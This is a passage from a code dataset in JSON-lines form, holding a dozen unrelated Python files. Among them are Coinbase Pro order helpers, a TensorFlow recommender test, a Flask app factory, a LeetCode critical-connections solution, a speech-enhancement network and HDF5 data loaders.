{}\".format(result))\n","repo_name":"hanneskuettner/advent-of-code","sub_path":"2021/07/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"35348464311","text":"'''in_use_do_not_archive\r\nconstants.py module used with the CCA3\r\n\r\ncontains constants, many used in gdata.py, ndata.py, hdata.py\r\n\r\nno classes at this time in this module\r\n\r\n\r\nrequirements.txt:\r\n provided simply here as a roadmap to the modules in the CCA3\r\n please check with cca4.py to make sure latest requirements\r\n\r\n'''\r\n\r\n\r\n##START PRAGMAS\r\n#\r\n#pylint: disable=line-too-long\r\n# prefer to take advantage of longer line length of modern monitors, even with multiple windows\r\n#pylint: disable=invalid-name\r\n# prefer not to use snake_case style for very frequent data structure or small temp variables\r\n#pylint: disable=bare-except\r\n# prefer in some code areas to catch any exception rising\r\n#pylint: disable=too-many-branches\r\n#pylint: disable=too-many-statements\r\n# prefer to use comfortable number of branches and statements, especially in user menu communication\r\n#pylint: disable=too-many-instance-attributes\r\n#pylint: disable=unused-wildcard-import\r\n#pylint: disable=wildcard-import\r\n# use wildcard import for constants\r\n##END PRAGMAS\r\n\r\n\r\n## START IMPORTS START IMPORTS\r\n#\r\n##standard imports -- being used by this module\r\ntry:\r\n #import pdb\r\n import sys\r\n #import platform\r\n #import os.path\r\n #import random\r\n #import copy\r\nexcept ImportError:\r\n print('\\nprogram will end -- constants.py module of causal cog arch unable to import standard lib module')\r\n print('please ensure correct version of python can be accessed')\r\n sys.exit()\r\n#\r\n##PyPI imports -- being used by this module\r\ntry:\r\n #import numpy as np\r\n #import colorama # type: ignore\r\n #import pyfiglet # type: ignore\r\n #import termcolor\r\n pass\r\nexcept ImportError:\r\n print('\\nprogram will end -- constants.py module of the causal cog arch unable to import a PyPI module')\r\n print('please check requirements.txt and install all required dependencies')\r\n sys.exit()\r\n#\r\n##non-PyPI third-party imports -- being used by this module\r\ntry:\r\n pass\r\n #justification/ Awesome/LibHunt ratings for non-pypi imports: n/a\r\n #nb. none\r\nexcept ImportError:\r\n print('program will end -- constants.py module of the causal cog arch unable to import a third-party module')\r\n print('please check requirements.txt and install all required dependencies')\r\n sys.exit()\r\n#\r\n##CCA1 module imports -- being used by this module\r\ntry:\r\n #from constants import *\r\n #import gdata\r\n #import ddata\r\n ##import hdata\r\n #import main_mech\r\n #import eval_micro #June 2021 deprecated\r\n #import eval_milli #June 2021 deprecated\r\n #import palimpsest #nb without GPU will use excessive resources\r\n pass\r\nexcept ImportError:\r\n print('program will end -- constants.py module unable to import a causal cognitive architecture module')\r\n print('please check requirements.txt and install all required dependencies')\r\n sys.exit()\r\n#\r\n#\r\n\r\n\r\n##START CONSTANTS\r\n#\r\nVERSION = 'not specified'\r\nHARDWARE = False\r\nMEMORY_CHECKING_ON_TEMP = False\r\nFULL_CAUSAL = False\r\nBINDING = True #version for CCA3 Binding Paper to avoid GPU, demonstrate equations\r\nDEBUG = True\r\nFASTRUN = True #True causes skipping of many user inputs\r\nAUTORUN = False #True will run whole session without user input\r\nLIFESPAN = 10000 #max loops for main_eval()\r\nMOD_CYCLE_REEVALUATE = 5\r\nSAVE_RECALL_TO_FROM_STORAGE = False\r\nTOTAL_ROWS = 6 #count EDGE squares\r\nTOTAL_COLS = 6 #count EDGE squares\r\nGOAL_RANDOM_WALK = '00000000'\r\nGOAL_SKEWED_WALK = '00000001'\r\nGOAL_PRECAUSAL_FIND_HIKER = '11111111'\r\nGOAL_CAUSAL_FIND_HIKER = '11110000'\r\nTRIES_BEFORE_DECLARE_LOCAL_MINIMUM = 2\r\nDEFAULT_VECTOR = '00000000'\r\nDEFAULT_GOAL = GOAL_RANDOM_WALK\r\nDEFAULT_HIPPOCAMPUS = 'HUMAN'\r\nDEFAULT_FIRST_SCENE = 'FOREST'\r\nESCAPE_LEFT = '11111111'\r\nFILLER = '00000000'\r\nREFLEX_ESCAPE = '10011001'\r\nINITIATE_VALUE = 0\r\nFIRST_SCENE = 'MOTHER'\r\nCONTINUATION_TEXT = 'Please press ENTER to continue....'\r\nMISSION_COUNTER = 0\r\nMAX_CYCLES_NOW_EXIT = 20\r\nTOTAL_MAPS =1000\r\nTOTAL_OBJECTS = 11 #segments 0-10\r\nTOTAL_ENVIRONMENTS = 1000\r\nTOTAL_SCENES = 20\r\nTOTAL_STREAMS = 20\r\nSTANDARD_DELAY = 2\r\n##END CONSTANTS\r\n","repo_name":"CausalCog/CausalCog","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":4101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"43643294512","text":"import cbpro\nimport Keys\nimport time\nimport datetime\nfrom Time import *\n\n# Initialize CB Pro References\nauth_client = Keys.getAuthClient()\n\ndef getCurrentDate():\n currentDate = datetime.datetime.now()\n return currentDate.strftime(\"%m-%d-%Y %I:%M:%S\")\n\n\ndef formatOrderStructureX(order):\n orderObj = [{\n 'coin': order['product_id'],\n 'price': order['price'],\n 'size': order['size'],\n 'side': order['side'],\n 'created_at': order['created_at'],\n 'fill_fees': order['fill_fees'],\n 'filled_size': order['filled_size'],\n }]\n return orderObj\n\n\n# Format the data all open orders\n# This is the baseData in the structure (Used in getAllOpenOrders)\ndef formatOrderStructure(order):\n orderId = order['id']\n coin = order['product_id']\n side = order['side']\n price = order['price']\n size = order['size']\n filled_size = order['filled_size']\n created_at = order['created_at']\n\n\n orderObj2 = [orderId, coin, side, price, size, filled_size, created_at]\n return orderObj2\n\n# Get ALL open Orders\ndef getAllOpenOrders():\n myOrders = auth_client.get_orders()\n orderList = list(myOrders)\n\n orderStructure = []\n for x in range(len(orderList)):\n obj = formatOrderStructure(orderList[x])\n orderStructure.insert(len(orderStructure), obj)\n\n return orderStructure\n\n# Get Orders by Specific Coin\ndef getOrdersBySpecificPair(comboListProduct):\n orderStructure = []\n if comboListProduct == \"ALL\":\n orderStructure = getAllOpenOrders()\n else:\n myOrders = auth_client.get_orders(product_id=comboListProduct)\n orderList = list(myOrders)\n\n orderStructure = []\n for x in range(len(orderList)):\n obj = formatOrderStructure(orderList[x])\n orderStructure.insert(len(orderStructure), obj)\n\n return orderStructure\n\n\ndef formatOrdersForTableDisplay(formattedOrders):\n tableOrderStructure = []\n for x in range(len(formattedOrders)):\n product = formattedOrders[x][1]\n side = formattedOrders[x][2]\n price = formattedOrders[x][3]\n size = formattedOrders[x][4]\n filled_size = formattedOrders[x][5]\n created_at = strip8601Time(formattedOrders[x][6])\n\n orderArr = [product,side,price,size, filled_size, created_at]\n\n tableOrderStructure.insert(x, orderArr)\n\n return tableOrderStructure\n\n\n\n# Cancel the orders from the selected values on the table\n# getSelectedRows is needed for this function\ndef cancelSelectedOrders(selectedRow, baseData):\n success = 0\n for x in range(len(selectedRow)):\n\n rowNumber = int(selectedRow[x])\n orderIDtoCancel = baseData[rowNumber]\n auth_client.cancel_order(orderIDtoCancel[0])\n success = 1\n\n return success\n\n\n# Get all Uniq products from orders and return a sorted list\ndef getAllUniqueProducts(baseData):\n uniqProduct = []\n productStr = \"\"\n count = 0\n for x in range(len(baseData)):\n orderData = baseData[x]\n if x == 0:\n uniqProduct.insert(count, orderData[1])\n productStr += orderData[1]\n count+=1\n\n elif productStr.__contains__(orderData[1]):\n holder=0\n else:\n uniqProduct.insert(count, orderData[1])\n productStr += orderData[1]\n count += 1\n\n uniqProduct.sort()\n\n finalUniqProduct = [\"ALL\"]\n for i in range(len(uniqProduct)):\n finalUniqProduct.insert(i+1,uniqProduct[i])\n\n return finalUniqProduct\n\n\n\n\n","repo_name":"dsundby10/CoinbaseTradingTools","sub_path":"OrderManagement.py","file_name":"OrderManagement.py","file_ext":"py","file_size_in_byte":3513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"41642176701","text":"\"\"\"\nDefines a Distance containing search terms and travel distance/time.\n\n@author GalenS \n\"\"\"\n\n\nclass DistanceMatrix(dict):\n def __init__(self, origin, destination, row):\n super(DistanceMatrix, self).__init__()\n\n self['start'] = origin\n self['end'] = destination\n\n elements = row['elements'][0]\n self['distance'] = elements['distance']['text']\n self['duration'] = int(elements['duration']['value'])\n","repo_name":"galenscovell/CommuteMap","sub_path":"models/distance_matrix.py","file_name":"distance_matrix.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20414469407","text":"import tensorflow as tf\nimport tensorflow_recommenders as tfrs\nimport numpy as np\nfrom recommender import uniqueProduct, model\n\n# ---------------------------------------------------------------------------- #\n# Test Output #\n# ---------------------------------------------------------------------------- #\n\n# Retrieving Top-K Candidates\n# Dummy values created to simulate larger dataset\nuniqueProduct = tf.data.Dataset.from_tensor_slices(uniqueProduct)\n\ntoolsWithDummy = tf.data.Dataset.concatenate(\n uniqueProduct.batch(4096),\n uniqueProduct.batch(4096).repeat(1_000).map(lambda x: tf.zeros_like(x))\n)\n\ntoolsWithDummyEmb = tf.data.Dataset.concatenate(\n uniqueProduct.batch(4096).map(model.product_model),\n uniqueProduct.batch(4096).repeat(1_000)\n .map(lambda x: model.product_model(x))\n .map(lambda x: x * tf.random.uniform(tf.shape(x)))\n)\nbrute_force = tfrs.layers.factorized_top_k.BruteForce(model.customer_model)\nbrute_force.index_from_dataset(\n uniqueProduct.batch(100).map(\n lambda prod: (prod, model.product_model(prod)))\n)\n# Get predictions for user.\nid_input = input(\"Enter the customer ID: \")\n_, titles = brute_force(np.array([str(id_input)]), k=3)\n\nprint(f\"Top recommendations: {titles[0]}\")\n","repo_name":"faith1321/hybrid_gift_recommender","sub_path":"lib/recommender_system/results_test.py","file_name":"results_test.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"28935598550","text":"#__init__.py file means that the folder website becomes a python package\n#Therefore when import name __init__.py acts like a constructor to this package\n\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom os import path\nfrom flask_login import LoginManager\n\nDB_NAME = \"SignTeach.db\"\ndb = SQLAlchemy()\n\n\ndef create_app():\n app = Flask(__name__)\n app.config['SECRET_KEY'] = 'Flask Secret Key' #Encrypt cookies and session data when flask website is running\n app.config['SQLALCHEMY_DATABASE_URI'] = f'sqlite:///{DB_NAME}' #Connect to database\n db.init_app(app)\n\n from .views import views\n from .auth import auth\n from .imageAdd import addImage\n\n app.register_blueprint(views, url_prefix='/')\n app.register_blueprint(auth, url_prefix ='/')\n \n from .models import User, Answers, Images\n\n login_manager = LoginManager()\n login_manager.login_view = 'auth.login'\n login_manager.init_app(app)\n @login_manager.user_loader\n def load_user(id):\n return User.query.get(int(id))\n \n with app.app_context():\n db.create_all()\n db.session.commit()\n\n # addImage(app)\n return app","repo_name":"AlexandrosBrew/A-Level-Non-Examined-Assessment","sub_path":"website/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13403339308","text":" #заменить максимальные значения списка на минимальные\nn= int(input(\"Введите количество элементов в списке\"))\na=list()\nmax=0\nmin=1000\nfor i in range(n):\n x=int(input(\"Введите элемент\"))\n a.append(x)\n if x>max:\n max=x\n if x List[List[int]]:\n # exception case\n assert isinstance(n, int) and n >= 2\n assert isinstance(connections, list) and len(connections) >= n - 1\n # main method: (Tarjan's bridge-finding algorithm)\n return self._criticalConnections(n , connections)\n\n def _criticalConnections(self, n: int, connections: List[List[int]]) -> List[List[int]]:\n assert isinstance(n, int) and n >= 2\n assert isinstance(connections, list) and len(connections) >= n - 1\n\n connections_set = set()\n for connection in connections:\n _from, _to = connection\n cur_edge = (_from, _to) if _from <= _to else (_to, _from)\n connections_set.add(cur_edge)\n\n graph = dict({})\n for node in range(n):\n graph[node] = set()\n for connection in connections_set:\n _from, _to = connection\n if _from == _to:\n continue\n if _from in graph:\n graph[_from].add(_to)\n if _to in graph:\n graph[_to].add(_from)\n\n depth = [-1 for _ in range(n)] # DFS depth\n\n def __dfs(cur_node: int, parent_node: int, cur_depth: int):\n if depth[cur_node] >= 0:\n return depth[cur_node]\n depth[cur_node] = cur_depth\n\n min_depth = n # to find the minimal depth, n is INF\n # assert cur_node in graph\n for neighbor in graph[cur_node]:\n if neighbor == parent_node:\n continue\n backtrace_depth = __dfs(neighbor, cur_node, cur_depth + 1)\n if backtrace_depth <= cur_depth: # this indicates a loop, which needs to be cut\n _edge = (cur_node, neighbor) if cur_node <= neighbor else (neighbor, cur_node)\n connections_set.discard(_edge)\n min_depth = min(min_depth, backtrace_depth)\n return min_depth\n\n __dfs(0, -1, 0) # start from node 0\n res = []\n for connection in connections_set:\n _from, _to = connection\n res.append([_from, _to])\n\n return res\n\n\ndef main():\n # Example 1: Output: [[1,3]]\n n = 4\n connections = [[0, 1], [1, 2], [2, 0], [1, 3]]\n\n # Example 2: Output: [[0,1]]\n # n = 2\n # connections = [[0, 1]]\n\n # init instance\n solution = Solution()\n\n # run & time\n start = time.process_time()\n ans = solution.criticalConnections(n, connections)\n end = time.process_time()\n\n # show answer\n print('\\nAnswer:')\n print(ans)\n\n # show time consumption\n print('Running Time: %.5f ms' % ((end - start) * 1000))\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"YuweiYin/Algorithm_Programming","sub_path":"LeetCode-All-Solution/Python3/LC-1192-Critical-Connections-in-a-Network.py","file_name":"LC-1192-Critical-Connections-in-a-Network.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"17176257996","text":"import time\n\nclass EvenNumber:\n def __init__(self, max=None) -> None:\n self.max = max\n\n def __iter__(self):\n self.num = 0\n return self\n\n def __next__(self):\n if not max or self.num <= self.max:\n result = self.num\n self.num += 2\n return result\n else:\n raise StopIteration\n\n\nif __name__ == '__main__':\n num_even = EvenNumber(20)\n\n for i in num_even:\n print(i)\n time.sleep(1)\n","repo_name":"marcosalv92/python_profesional","sub_path":"iterator_pares.py","file_name":"iterator_pares.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26923758310","text":"# references:https://github.com/maggie0830/DCCRN\nimport os\nimport sys\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import Tensor\nimport flwr as fl\nfrom collections import OrderedDict\n\n\nfrom model.conv_stft import ConvSTFT, ConviSTFT\nfrom model.complex_nn import *\nfrom model.sa_goea_module import AMB\nfrom model.ftb_moudle import TSB\nimport matplotlib.pyplot as plt\n\nclass EncoderBlock(nn.Module):\n\n def __init__(self, args, in_channels, out_channels, kernel_size, stride, padding):\n super(EncoderBlock, self).__init__()\n\n self.args = args\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.kernel_size = kernel_size\n self.stride = stride\n self.padding = padding\n\n self.cConv = cConv2d(in_channels=self.in_channels, out_channels=self.out_channels, kernel_size=self.kernel_size,\n stride=self.stride, padding=self.padding).cuda(self.args.gpu)\n\n\n self.cBN = cBatchNorm2d(self.out_channels).cuda(self.args.gpu)\n self.prelu = nn.PReLU().cuda(self.args.gpu)\n\n\n def forward(self, x):\n cConv = self.cConv(x) # cConv.shape torch.Size([4, 256, 4, 1653])\n\n cBN = self.cBN(cConv)\n output = self.prelu(cBN) # Real PReLU\n\n return output\n\n\nclass DecoderBlock(nn.Module):\n\n def __init__(self, args, in_channels, out_channels, kernel_size, stride, padding, output_padding, last_decoder=False):\n super(DecoderBlock, self).__init__()\n\n self.args = args\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.kernel_size = kernel_size\n self.stride = stride\n self.padding = padding\n self.output_padding = output_padding\n self.last_decoder = last_decoder\n\n self.trans_cConv = cConvTranspose2d(in_channels=self.in_channels, out_channels=self.out_channels, kernel_size=self.kernel_size,\n stride=self.stride, padding=self.padding, output_padding=self.output_padding).cuda(self.args.gpu)\n self.cBN = cBatchNorm2d(self.out_channels).cuda(self.args.gpu)\n self.prelu = nn.PReLU().cuda(self.args.gpu)\n\n def forward(self, x):\n trans_cConv = self.trans_cConv(x)\n if not self.last_decoder:\n cBN = self.cBN(trans_cConv)\n output = self.prelu(cBN)\n else:\n output = trans_cConv\n\n return output\n\nclass SASE(nn.Module):\n\n def __init__(\n self,\n args,\n rnn_layers=2,\n rnn_dim=128,\n win_len=400,\n win_inc=100,\n fft_len=512,\n win_type='hanning',\n masking_mode='E',\n use_clstm=False,\n kernel_size=5,\n kernel_num=[16, 32, 64, 128, 256, 256]):\n super(SASE, self).__init__()\n\n self.args = args\n self.win_len = win_len\n self.win_inc = win_inc\n self.fft_len = fft_len\n self.win_type = win_type\n\n input_dim = win_len\n output_dim = win_len\n\n self.rnn_dim = rnn_dim\n self.input_dim = input_dim\n self.output_dim = output_dim\n self.hidden_layers = rnn_layers\n self.kernel_size = kernel_size\n\n self.kernel_num = [2] + kernel_num\n self.masking_mode = masking_mode\n self.use_clstm = use_clstm\n\n bidirectional = False\n fac = 2 if bidirectional else 1\n\n fix = True\n self.fix = fix\n\n self.stft = ConvSTFT(self.win_len, self.win_inc, fft_len, self.win_type, 'complex', fix=fix).cuda(self.args.gpu)\n self.istft = ConviSTFT(self.win_len, self.win_inc, fft_len, self.win_type, 'complex', fix=fix).cuda(self.args.gpu)\n\n self.encoder = nn.ModuleList().cuda(self.args.gpu)\n self.decoder = nn.ModuleList().cuda(self.args.gpu)\n\n self.ftb_pre = TSB(channel_phase = 2)\n\n\n # Encoder Part\n for idx in range(len(self.kernel_num) - 1):\n self.encoder.append(EncoderBlock(\n args=self.args,\n in_channels=self.kernel_num[idx],\n out_channels=self.kernel_num[idx + 1],\n kernel_size=(self.kernel_size, 2),\n stride=(2, 1),\n padding=(2, 1)\n ))\n\n hidden_dim = self.fft_len // (2 ** (len(self.kernel_num)))\n\n if self.use_clstm:\n rnns = []\n for idx in range(rnn_layers):\n # todo print all\n rnns.append(\n cLSTM(\n input_size=hidden_dim * self.kernel_num[-1] if idx == 0 else self.rnn_dim,\n hidden_size=rnn_dim,\n bidirectional=bidirectional,\n batch_first=False,\n projection_dim=hidden_dim * self.kernel_num[-1] if idx == rnn_layers - 1 else None\n ).cuda(self.args.gpu)\n )\n self.enhance = nn.Sequential(*rnns).cuda(self.args.gpu)\n\n else:\n self.enhance = nn.LSTM(\n input_size=hidden_dim * self.kernel_num[-1],\n hidden_size=self.rnn_dim,\n num_layers=rnn_layers,\n dropout=0.0,\n bidirectional=bidirectional,\n batch_first=False\n ).cuda(self.args.gpu)\n self.projection = nn.Linear(self.rnn_dim * fac, hidden_dim * self.kernel_num[-1]).cuda(self.args.gpu)\n\n # Decoder Part\n for idx in range(len(self.kernel_num) - 1, 0, -1):\n if idx != 1: \n self.decoder.append(DecoderBlock(\n args=self.args,\n in_channels=self.kernel_num[idx]*2,\n out_channels=self.kernel_num[idx -1],\n kernel_size=(self.kernel_size, 2),\n stride=(2, 1),\n padding=(2, 0),\n output_padding=(1, 0)\n ))\n\n else: # last decoder\n self.decoder.append(DecoderBlock(\n args=self.args,\n in_channels=self.kernel_num[idx]*2,\n out_channels=self.kernel_num[idx - 1],\n kernel_size=(self.kernel_size, 2),\n stride=(2, 1),\n padding=(2, 0),\n output_padding=(1, 0)\n ))\n\n\n def flatten_parameters(self):\n if isinstance(self.enhance, nn.LSTM):\n self.enhance.flatten_parameters()\n\n \n def forward(self, inputs,lens=None):\n specs = self.stft(inputs)\n real = specs[:, :self.fft_len//2+1]\n imag = specs[:, self.fft_len//2+1:]\n spec_mag = torch.sqrt(real**2 + imag**2 + 1e-8)\n spec_phase = torch.atan2(imag, real)\n\n complexSpec = torch.stack([real, imag], 1)\n complexSpec = complexSpec[:, :, 1:] #\n\n out = complexSpec\n out = self.ftb_pre(out)\n\n encoder_out = []\n\n\n for idx, encoder in enumerate(self.encoder):\n out = encoder(out)\n encoder_out.append(out)\n\n\n batch_size, channels, dims, lengths = out.size()\n\n out = out.permute(3, 0, 1, 2)\n\n\n if self.use_clstm:\n\n real_rnn_input = out[:, :, :channels//2]\n imag_rnn_input = out[:, :, channels//2:]\n\n real_rnn_input = torch.reshape(real_rnn_input, [lengths, batch_size, channels//2*dims])\n imag_rnn_input = torch.reshape(imag_rnn_input, [lengths, batch_size, channels//2*dims])\n\n real_rnn_output, imag_rnn_output = self.enhance([real_rnn_input, imag_rnn_input])\n\n real_rnn_output = torch.reshape(real_rnn_output, [lengths, batch_size, channels//2, dims])\n imag_rnn_output = torch.reshape(imag_rnn_output, [lengths, batch_size, channels//2, dims])\n\n out = torch.cat([real_rnn_output, imag_rnn_output], 2)\n \n else: # complex lstm\n rnn_input = torch.reshape(out, [lengths, batch_size, channels*dims])\n rnn_output, _ = self.enhance(rnn_input)\n projection = self.projection(rnn_output)\n mask_out = torch.reshape(projection, [lengths, batch_size, channels, dims])\n \n attention_mlp_block = AMB(batch_size=batch_size, channels=channels, dims=dims).cuda(self.args.gpu)\n attention_input = torch.reshape(out, [batch_size, lengths, channels * dims])\n \n attention_mlp_block_output = attention_mlp_block(attention_input)\n attention_mask = torch.reshape(attention_mlp_block_output,\n [lengths, batch_size, channels, dims]) # torch.Size([1653, 10, 256, 4])\n out = attention_mask * mask_out\n \n\n out = out.permute(1, 2, 3, 0) \n\n for idx in range(len(self.decoder)):\n out = complex_cat([out, encoder_out[-1 - idx]], 1) \n out = self.decoder[idx](out)\n out = out[..., 1:]\n\n out = self.ftb_pre(out)\n\n mask_real = out[:, 0]\n mask_imag = out[:, 1]\n\n mask_real = F.pad(mask_real, [0, 0, 1, 0])\n mask_imag = F.pad(mask_imag, [0, 0, 1, 0])\n\n\n if self.masking_mode == 'E':\n mask_mag = (mask_real ** 2 + mask_imag ** 2)**0.5\n real_phase = mask_real / (mask_mag + 1e-8)\n imag_phase = mask_imag / (mask_mag + 1e-8)\n\n mask_phase = torch.atan2(imag_phase, real_phase)\n mask_mag = torch.tanh(mask_mag)\n\n est_mag = mask_mag * spec_mag\n est_phase = spec_phase + mask_phase\n\n real = est_mag * torch.cos(est_phase)\n imag = est_mag * torch.sin(est_phase)\n\n elif self.masking_mode == 'C': # complex\n real, imag = real * mask_real - imag * mask_imag, real * mask_imag + imag * mask_real\n\n elif self.masking_mode == 'R': # Real\n real, imag = real * mask_real, imag * mask_imag\n\n out_spec = torch.cat([real, imag], 1)\n \n out_wav = self.istft(out_spec)\n\n\n out_wav = torch.squeeze(out_wav, 1)\n\n out_wav = torch.clamp_(out_wav, -1, 1)\n\n return out_spec, out_wav\n\n\ndef set_model(args, mode='CL'):\n if mode == 'E':\n model = SASE(args=args, rnn_dim=256, masking_mode='E')\n elif mode == 'R':\n model = SASE(args=args, rnn_dim=256, masking_mode='R')\n elif mode == 'C':\n model = SASE(args=args, rnn_dim=256, masking_mode='C')\n elif mode == 'CL':\n model = SASE(args=args, rnn_dim=256, masking_mode='E',\n use_clstm=False, kernel_num=[32, 64, 128, 256, 256, 256])\n elif mode == 'attention':\n model = SASE(args=args, rnn_dim=256, masking_mode='E')\n else:\n raise Exception('non-supported mode!')\n return model\n\n\n\n\n\n\n\n\n","repo_name":"runngezhang/SASE","sub_path":"model/SASE.py","file_name":"SASE.py","file_ext":"py","file_size_in_byte":10784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"34007378169","text":"import pytronics, webcolors\nfrom math import pi, radians, sin\nfrom flask import Blueprint, render_template, request\n\npublic = Blueprint('fourdsystems', __name__, template_folder='templates')\n\n@public.route('/fd/clear-lcd', methods=['GET', 'POST'])\ndef clear_lcd(): # also moves cursor to 0,0\n pytronics.serialWrite(chr(0xFF) + chr(0xCD), 9600)\n return '4DSystems LCD cleared'\n\n@public.route('/fd/draw-filled-rectangle/////', methods=['GET', 'POST'])\ndef draw_filled_rectangle(x1, y1, x2, y2, color):\n # limit to x to 480, y to 272\n try:\n if int(color,16):\n hex_color = webcolors.hex_to_rgb('#' + color)\n elif color == '000000':\n hex_color = (0, 0, 0)\n except ValueError:\n hex_color = webcolors.name_to_rgb(color)\n upper_color_byte = (hex_color[0] >> 3 << 3) + (hex_color[1] >> 5) # RRRRR GGG\n lower_color_byte = (hex_color[1] >> 2 << 5) % 256 + (hex_color[2] >> 3) # GGG BBBBB\n #print bin(upper_color_byte), bin(lower_color_byte)\n # probably need to cast x1, x2, y1, y2 to ints here\n pytronics.serialWrite(chr(0xFF) + chr(0xC4) + chr(x1/256) + chr(x1%256) + chr(y1/256) + chr(y1%256)+ chr(x2/256) + chr(x2%256)+ chr(y2/256) + chr(y2%256) + chr(upper_color_byte) + chr(lower_color_byte), 9600)\n return 'Rectangle drawn'\n\ndef draw_sinusoidal_grating(period):\n for col in range(480):\n color = int(127.5 * (1 + sin(col * 2 * pi / period)))\n draw_filled_rectangle(col, 0, col, 272, '{0:06x}'.format(color))\n\ndef put_string(data):\n pytronics.serialWrite(chr(0x00) + chr(0x18) + data + chr(0x00), 9600)","repo_name":"rascalmicro/control-freak","sub_path":"public/libfourdsystems.py","file_name":"libfourdsystems.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"4385243432","text":"lista = []\nfor i in range(0, 5):\n lista.append(int(input(\"cotação: \")))\n\nmaior = 0\nmenor = 99999999\nfor i in lista:\n if i > maior:\n maior = i\n if i < menor:\n menor = i\n\nprint(maior)\nprint(menor)\n","repo_name":"Davi-Guindani/Exercises","sub_path":"Python/galaxia2/exercicio20.py","file_name":"exercicio20.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25407797874","text":"from tkinter import *\n\napp=Tk()\napp.title(\"Hancie e-Learning Studio\")\napp.geometry(\"500x500\")\n\nVar1 = IntVar()\nVar2 = IntVar()\n\ncheck=Checkbutton(app, text=\"Male\", variable = Var1)\ncheck.pack(padx=5, pady=5)\n\ncheck2=Checkbutton(app, text=\"Female\", variable = Var2)\ncheck2.pack(padx=5, pady=10)\n\napp.mainloop()","repo_name":"Hancie123/Python-Crash-Course","sub_path":"GUI/Checkbutton.py","file_name":"Checkbutton.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"11"} +{"seq_id":"8043234642","text":"import numpy as np\nimport h5py\n\nDATA_DIR = \"../data-genres\"\nPATCHES_DIR = DATA_DIR+\"/patches\"\nDATASETS_DIR = DATA_DIR+\"/splits\"\nTRAINDATA_DIR = DATA_DIR+\"/train_data\"\nSAVED_MODELS_DIR = DATA_DIR+\"/saved_models\"\n\ndef load_data_hf5_memory(dataset, y_path, id2gt):\n hdf5_file = f\"{PATCHES_DIR}/patches_train_{dataset}_1x1.hdf5\"\n f = h5py.File(hdf5_file,\"r\")\n index_train = f[\"index\"][:]\n index_train = np.delete(index_train, np.where(index_train == \"\"))\n\n N_train = index_train.shape[0]\n\n val_hdf5_file = f\"{PATCHES_DIR}/patches_val_{dataset}_1x1.hdf5\"\n f_val = h5py.File(val_hdf5_file,\"r\")\n X_val = f_val['features'][:]\n factors_val = np.load(DATASETS_DIR+'/y_val_'+y_path+'.npy')\n index_factors_val = open(DATASETS_DIR+'/items_index_val_'+dataset+'.tsv').read().splitlines()\n id2gt_val = dict((index,factor) for (index,factor) in zip(index_factors_val,factors_val))\n index_val = [i.decode('utf-8') for i in f_val['index'][:] if i.decode('utf-8') in id2gt_val]\n X_val = np.delete(X_val, np.where(index_val == \"\"), axis=0)\n index_val = np.delete(index_val, np.where(index_val == \"\")) \n\n Y_val = np.asarray([id2gt_val[id] for id in index_val])\n\n test_hdf5_file = f\"{PATCHES_DIR}/patches_test_{dataset}_1x1.hdf5\"\n f_test = h5py.File(test_hdf5_file,\"r\")\n X_test = f_test['features'][:]\n factors_test = np.load(DATASETS_DIR+'/y_test_'+y_path+'.npy')\n index_factors_test = open(DATASETS_DIR+'/items_index_test_'+dataset+'.tsv').read().splitlines()\n id2gt_test = dict((index,factor) for (index,factor) in zip(index_factors_test,factors_test))\n index_test = [i.decode('utf-8') for i in f_test['index'][:] if i.decode('utf-8') in id2gt_test]\n X_test = np.delete(X_test, np.where(index_test == \"\"), axis=0)\n index_test = np.delete(index_test, np.where(index_test == \"\")) \n\n Y_test = np.asarray([id2gt_test[id] for id in index_test])\n \n return X_val, Y_val, X_test, Y_test, N_train\n\ndef load_x_data_preprocesed(dataset, metadata_source):\n all_X_meta = np.load(TRAINDATA_DIR+'/X_train_%s_%s.npy' % (metadata_source,dataset))\n all_X = all_X_meta\n print(all_X.shape)\n X_val = np.load(TRAINDATA_DIR+'/X_val_%s_%s.npy' % (metadata_source,dataset))\n X_test = np.load(TRAINDATA_DIR+'/X_test_%s_%s.npy' % (metadata_source,dataset))\n X_train = all_X\n\n return X_train, X_val, X_test\n\ndef load_y_data_preprocesed(Y_path):\n factors = np.load(DATASETS_DIR+'/y_train_'+Y_path+'.npy')\n all_Y = factors\n print(all_Y.shape)\n Y_val = np.load(DATASETS_DIR+'/y_val_'+Y_path+'.npy')\n Y_test = np.load(DATASETS_DIR+'/y_test_'+Y_path+'.npy')\n Y_train = all_Y\n\n return Y_train, Y_val, 